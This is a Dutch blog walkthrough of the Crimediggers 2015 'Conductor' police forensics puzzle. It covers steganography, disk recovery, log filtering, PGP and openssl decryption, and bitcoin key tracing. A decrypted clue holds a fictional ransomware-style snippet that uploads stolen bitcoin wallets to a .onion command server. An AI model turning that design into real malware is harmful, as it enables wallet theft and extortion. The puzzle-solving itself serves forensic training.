Sprenger Computer Oplossingen

Crimediggers 2015

Crimediggers 2015 - Conductor

6 april 2018 door Yvonne Sprenger

in 2015 hebben Tweakers en de politie voor het eerst Crimediggers ontwikkeld. Dit online “spel” daagt je uit om een fictieve zaak van de politie op te lossen. De politie probeert met Crimediggers talenten voor de digitale recherche te enthousiasmeren om te solliciteren.
Iedereen mag mee doen maar wees gewaarschuwd: met enkel kennis van Office-applicaties kom je niet ver.
Om de vragen uit Crimediggers op te lossen heb ik gebruik gemaakt van een Windows 10 PC met 2 schermen, een Ubuntu 16.04.03 virtual machine en internet. Ook met een Mac zijn de opdrachten op te lossen, het is maar net waar je zelf het meest vertrouwd mee bent en voor kiest. Kortom: er zijn vele wegen die naar Rome leiden.
Het bleek handig om een gedeelde map in Windows te maken die benaderbaar was in de Ubuntu virtual machine. De gedownloade bestanden zijn daardoor zowel in Windows als in Ubuntu te benaderen.

Bij het openen van de website www.crimediggers.nl volgt uitleg over het doel van Crimediggers. We kiezen vervolgens voor het digitaal rechercheren en wel de case Conductor (Numitor is het spel uit 2016). Het spannende deuntje op de achtergrond klinkt in eerste instantie heel leuk maar na enkele minuten geloof je het wel; gelukkig dat je links boven met een klik op het luidsprekertje de Hitchcock-deun de nek om kan draaien. Na het invullen van je naam kom je uiteindelijk bij de eerste opdracht uit.

Let op: spoilers ahead!

Sporenonderzoek bij Lara

Na een uiteenzetting van de case is het zaak om alle sporen eens goed te bekijken. Vergeet per spoor niet om indien mogelijk alle bijbehorende aanwijzingen te lezen, je kan anders makkelijk iets over het hoofd zien. Na het beantwoorden van een vraag kan je af en toe kiezen voor een extra opdracht om daarmee extra punten te scoren. Onder het dialoog venster die aangeeft of je de vraag wel of niet goed hebt beantwoord kan je eventueel door op Andere Opdracht? te klikken naar een andere (bonus)vraag springen.

Digitale foto’s

De eerste vraag luidt: “welke foto valt jou op?”. Tja, het lijken allemaal vakantie kiekjes maar wanneer je in Windows verkenner een extra kolom toevoegt betreffende de camera waarmee de foto is geschoten, dan springt er eentje toch wel uit.

Extra: SHA1-checksum

Voor de bonusvraag dienen we op zoek te gaan naar de eerste vijf karakters van de SHA1-checksum van één van de gevonden files. Tja, welke gevonden files? De makers doelen hiermee op bestanden die verstopt zitten in bestanden die op de SD card zijn gevonden die in Lara’s fotocamera zit (pfff). Wanneer je bij de sporen goed naar de foto van het SD kaartje kijkt staat daar de tekst stegtest 1 – pw bb_steg_01 op. Na wat googlen valt er informatie te vinden over Steganography (het verbergen van informatie in andere bestanden) en een veel gebruikt programma genaamd steghide. Het is op Ubuntu eenvoudig te installeren en ja hoor: er zijn 2 bestanden verstopt... was ook wel vreemd dat er foto’s werden bewaard van die museum items ...
De gevonden bestanden blijken private keys te zijn, die later nog handig van pas kunnen komen. Na het extracten van de bestanden kan in Ubuntu mbv sha1sum de checksum worden berekend en kunnen we door het invoeren van de eerste 5 karakters de bonusvraag beantwoorden. Het berekenen van de SHA1 sum is onder Windows ook mogelijk: wanneer 7-zip geïnstalleerd is kan je rechtsklikken op een bestand en voor CRC SHA -> SHA1 kiezen. Weet je nog van Rome?

Verwijderde bestanden

Voor de volgende vraag gaan we op zoek naar verwijderde bestanden van de NAS. Hiervoor dienen we eerst het gevonden image van de NAS te bekijken. Het is een vhd (Virtual Harddisk) image bestand. 
Wederom zijn er veel manieren om dit bestand te mounten maar het eenvoudigst gaat dit met het Windows programma Autopsy: een GUI-based programma waarmee je o.a. disk images kan onderzoeken en bestanden kan recoveren.
Na het openen van het vhd bestand blijkt in het vol2 Linux volume een mappen structuur te zitten waarin eenvoudig de verwijderde bestanden terug te vinden zijn: beide bestandsnamen hebben als prefix motion

Provider

De volgende vraag vraagt naar de netname van het IP adres van degene die de bewakingscamera beelden vanaf afstand bekijkt.
Op de NAS vinden we in de /var/log/scp map een access log met daarin diverse IP adressen van waar de camera beelden worden opgehaald. Bij de sporen hebben we ook een lijst van IP adressen van TOR exit nodes gevonden. Veel van deze IP adressen blijken in de access log voor te komen. De truc is nu om de IP adressen uit de access log naast die van de TOR exit nodes te leggen en te ontdekken of dat er ook wel eens vanaf een niet-TOR adres een verbinding is gemaakt. Met het volgende linux commando distilleren we de IP adressen uit de access log.

grep ]$ access.log | cut -f3 -d[ | cut -f1 -d] | sort -u > access_ip.txt

Vervolgens checken we welke IP adressen niet in de TOR exit nodes lijst voorkomen:

For ii in 'cat access_ip.txt' ; do grep ${ii} exit_nodes.txt ;if [ ${?} -eq 1 ] ; then echo ${ii} ; fi; done

En ja hoor: de schurk heeft één keer een fout gemaakt en vanaf een niet-TOR adres verbinding gemaakt. Een simpele whois m.b.v. de RIPE Database van dit IP adres geeft de netname: ONLINE-ADSL-KW

Theo’s autoverhuur

IT-consultancy

In Theo’s kantoor wordt door financiële rechercheurs ontdekt dat er veel geld wordt uitgegeven voor IT-consultancy maar hoe heet die consultant?
Laten we Theo’s email maar eens lezen: we laden het mbox bestand in het Windows programma MailStore Home: E-mails archiveren -> E-mail bestanden -> MBOX-bestand.
Theo blijkt een offerte voor beveiligingscamera’s aan te hebben gevraagd van iemand die veel van computers weet: Wouter Post

Extra: Theo’s contact

In de mailbox zitten ook een aantal versleutelde mails, in de extra vraag wordt gevraagd of we uit die mails kunnen achterhalen met wie Theo communiceert. De mails zijn versleuteld met PGP waarvoor online websites te vinden zijn waarmee je deze tekst kan decrypten. Wat je daarvoor nodig hebt zijn de 2 private keys die we in Lara’s en Steve’s appartement op een SD card hadden gevonden. Deze bleken verstopt in 2 digitale bestanden. En daarnaast hebben we de passphrase en de encrypted berichten nodig. En die passphrase hadden we ook al eerder gevonden. En dan is het alleen maar een kwestie van de berichten en keys op de website https://sela.io/pgp/index_nojs.php invoeren. De website igolder lijkt niet meer te werken?
De conversatie in de versleutelde berichten ziet er dan als volgt uit:

04-01-2015 21:03:58 DeTuin: Thé, gaat alles wel goed met onze bruine vrienden?
04-01-2015 21:37:58 Theo: Ja, prima dacht ik?
04-01-2015 21:40:58 DeTuin: Nou, dat vraag ik me dus af. Je zit erbovenop neem ik aan.
04-01-2015 21:42:58 Theo: Ik laat het je weer weten van deze maand oké
04-01-2015 21:55:58 DeTuin: 2 cijfers voldoende.
02-02-2015 14:15:00 Theo: 82
02-02-2015 16:03:58 DeTuin: Ja, goed. Dank.
16-02-2015 10:03:58 Theo: 60
16-02-2015 12:03:58 DeTuin: Moest 75 zijn. Onkosten oké, maar scheelt nu al bijna 60.
16-02-2015 13:03:58 Theo Ik check het uit
16-02-2015 13:33:58 DeTuin: Je weet hoe het werkt, jongen. Ik kan op jou rekenen toch? groet, detuin
16-02-2015 13:36:58 Theo: Ja, ik check het uit. komt goed.

En daaruit blijkt dat Theo met iemand communiceert die zichzelf detuin noemt.

Verdwenen geld

Voor de volgende vraag moeten we er achter komen wanneer Theo tegen Steve heeft gezegd dat hij hem dringend wilt spreken.
Theo en Steve corresponderen naast de mail ook via WhatsApp met elkaar en daarvan zijn 2 database bestanden te vinden. M.b.v. de DB browser for SQLite kunnen beide databases worden gelezen waarbij de messages.db het interessants is. Helaas staan de timestamps in een UNIX timestamp format. Na het exporteren van de database naar een csv format bestand en het daarvan openen in Excel kunnen we de timestamps converteren: bereken de datum met de formule:

=(((COLUMN_ID_HERE/60)/60)/24)+DATE(1970,1,1)

Op 13-03-2015 09:05 uur GMT tijd blijkt Theo te app-en “Moet je spreken”. Goed lezen nu: de datum en het tijdstip dienen in CET tijd te worden ingevuld.

Extra: Theo’s zonnebankbezoek

Wanneer is Theo voor het laatst in Lara’s zonnestudio geweest?
Handig dat we het MAC adres van de telefoon van Theo hebben: DA:57:E4:19:83:1F. Wanneer we nu in het dhcp log bestand zoeken dat we op de vorige locatie hebben gevonden, blijkt dat Theo’s telefoon de laatste keer op 2015-03-10 12:30:29 een DHCP adres heeft verkregen. Dit is wel een shaky antwoord: het zegt niets over wanneer Theo vertrokken is, misschien staat de DHCP lease wel op enkele dagen ingesteld en wat als Theo zijn telefoon een keer niet bij zich had, deze leeg was of de WiFi uit stond...? Maar het is zeer aannemelijk dat Theo wel op deze locatie is geweest en daar gaat het vooral om.

Theo’s minnares

Hoe zou Theo’s liefje heten? Als Theo een extra liefje er op na houdt is het zeer aannemelijk dat er berichten uit de WhatsApp database zijn verwijderd (want Theo wilt vast niet dat zijn vrouw achter deze relatie komt). De berichten kunnen gerecovered worden m.b.v. het tool undark. Op Ubuntu kan dat eenvoudig vanaf github geïnstalleerd worden. Wanneer je undark los laat op de message database wordt een csv bestand gegenereerd waarin alle berichten staan, ook de verwijderden. Maar de messages blijken niet op volgorde te staan. Door in Excel weer dezelfde timestamp truc uit te halen wordt de hele conversatie zichtbaar (niet dat we alles willen weten maar toch...). En daaruit blijkt Theo's minares als koosnaampje Luydka heeft maar dat haar echte naam Lyudmila is.

Wouters studentenkamer

In Wouters kamer in het studentenhuis vinden we alles dat bij een IT-nerd past incl. de nerd. Hij denkt dat hij veilig is en werkt volledig mee.

Onbekende software

Voor de eerste vraag moeten we achterhalen wat voor software er op het vreemde apparaat draait. Na het goed bestuderen van de close-upfoto blijkt er een logo op de Raspberry Pi te zijn geplakt: dat van een veelgebruikt PBX DIY software pakketje: Asterisk. Hiermee is beveiligd telefoonverkeer mogelijk maar tussen wie?

Wouters telefooncentrale

En ja hoor: dat dienen we te onderzoeken voor de volgende vraag: is er een onbekend telefoonnummer bij.
Na op de Ubuntu virtual machine MySQL en phpmyadmin te hebben geïnstalleerd is de uitdaging om de database van de Raspberry PI hiermee te kunnen openen. Stop eerst de phpmyadmin en MySQL services. Kopieer daarna de ibdata1 en de ib_logfile* bestanden naar de default MySQL locatie: /var/lib/mysql. Kopieer daar ook de bb_exchange database naar toe. Wijzig daarna de machtiging van de bestanden als volgt:

chown -R mysql:mysql bb_exchange

Start daarna weer de eerder genoemde services en open phpmyadmin in een browser. En ziedaar: de bb_exchange database. Exporteer de database naar een CSV bestand voor Excel en we kunnen deze weer verder tweaken. In de database staat het veld src (het telefoonnummer waarmee wordt gebeld). Zouden dit allemaal telefoonnummers zijn van de aanwezige SIM kaarten? Om dit te onderzoeken plaatsen we in het Excel bestand een stukje naar rechts het lijstje van telefoonnummers van de SIM kaarten. Daarna controleren we voor ieder telefoonnummer in de src kolom of dit nummer voorkomt in de lijst van SIM kaart telefoonnummers. Ik voeg naast de src kolom een nieuwe kolom in en plaats in iedere cel de formule:

=AANTAL.ALS(<range cellen met simcard tel.nrs>;<te onderzoeken tel.nr in src kolom>)>0

Als het goed is verschijnt er nu een lijst van boolean waarden die aangeeft of het een bekend nummer is of niet: er valt één nummer door de mand: 06-23423234xx oftewel het nummer van Theo Elstack.

Wouters bitcoin-handel

Om aan de eerste vijf tekens van het bitcoin-wallet adres van Wouter te komen speuren we verder. Wellicht heeft dat encrypted bestand er iets mee te maken. Uit de naam zouden we kunnen afleiden dat het om een aes-256 encrypted bestand gaat en de meest gebruikte encryptie methode is aes-256-cbc dus gaan we met Ubuntu aan de slag:

openssl aes-256-cbc -d -a -in vakantie.aes256.9d696165 -out vakantie_decrypted

Er wordt nu om het aes-256-cbc password gevraagd. Bij alle sporen hebben we 3 interessante zaken gevonden: een wachtwoord op een Post-It, een gedeeltelijk leesbaar wachtwoord aan de binnenkant van de pizzadoos en een woordenlijst (dictionary). Na het combineren van de laatste 2 (en veel fantasie) komen we uiteindelijk op het gezochte wachtwoord: jAnEkEmAngAhEllBoY
Het vakantie_decrypted bestand blijkt een stukje C++ code te zijn welke er als volgt uitziet:

module BitcoinBeast
  class StealCoins < ExploitToolkit::Ransomware::DSL
    CC_SERVER = 'http://beast7ruvpc3qjhv.onion/'
    init_tor_and_connect
    if bitcoin_wallet_found?
      steal_wallet upload: "#{CC_SERVER}/upload"
    else
      encrypt_files_with_password pass_key: "#{CC_SERVER}/passkey", directory: :documents
      show_gui content: I18n.t(:give_me_some_bitcoins), payment: "#{CC_SERVER}/pyme"
    end
  end

  class StealCoinsGenerator < ExploitToolkit::Generator::DSL
    make_executable using: BitcoinBeast::StealCoins, platform: :windows, delivery_method: ExploitToolkit::Delivery::Email, payload_method:  ExploitToolkit::Payload::PDF, output: :desktop
  end
end

BitcoinBeast::StealCoinsGenerator.generate()

En nu kan m.b.v. een TOR-browser op de website die bij payment staat vermeld de gevraagde informatie worden gevonden: 1BBXN

Derks Wijnkelder

In de wijnkelder blijkt een schat aan sporen en informatie te liggen.

Derks bitcoin imperium

Voor de volgende vraag moeten we op zoek naar het bitcoin-adres van Derk Tuinstra c.q. DeTuin.
Bitcoin adressen en private keys worden soms in QR-codes gecodeerd zodat je makkelijk met een app op je mobiel kunt betalen. Daarbij hoef je dan alleen een printje te bewaren en niets op je computer waardoor hackers deze niet kunnen bemachtigen.
Bij het recoveren van data van de SD card die in de sigarettenpakjes is verstopt treffen we foto’s met daarop gedeeltelijke QR codes. Helaas zijn deze codes (ondanks een goed herstel algoritme in de QR-code) niet scanbaar. Maar dan vinden we onderin de sigarendoos een stukje papier met daarop half verbrandde QR-codes. Door de juiste gerecoverde foto in een fotobewerkingsprogramma te combineren met de gevonden verbrande QR-code kunnen we een QR-code recoveren die met de Android App Barcode Scanner wel te lezen is.

480 wallet  img 1020 
 QR code 

De QR-code luidt:

5Hsc9kbpDciVHXpNCeySNUUo5JAdVGTarMo7RuRtTHhhNwJLgLf

En laten private keys in een wallet import format (WIF) nu altijd uit 51 karakters bestaan en beginnen met een 5.... En een private key is altijd terug te leiden tot 1 uniek bitcoin adres. Er zijn online tools om dat adres te berekenen b.v. op de website www.bitaddress.org. Door het invoeren van de private key (klik eerst op Wallet Details) komen we aan het bitcoin adres:

1DTXwj2EJBcGyGyVSm2q2yZrg7ZHsCaCY

Derks bitcoin-saldo

Op de server is een bitcoin block gevonden: een transactie. In de bitcoin block is voor iedere betaling bij output een combinatie te vinden van het bedrag en de hash van de publieke sleutel. Op de website www.bitcoinvalued.com/tools.php kunnen we in één keer het BitCoin adres converteren naar het Hash160 formaat dat in de transactie wordt gebruikt:

025B23FE52DFD1F6373E9D8B2F0B459D2165628B

Nu kunnen we in het blockchain_dt.json block kijken en alle binnenkomende betalingen voor dit bitcoin adres optellen: 20 + 18 + 21 + 23,1 en dat geeft als saldo in hele bitcoins: 82

Help! een virus!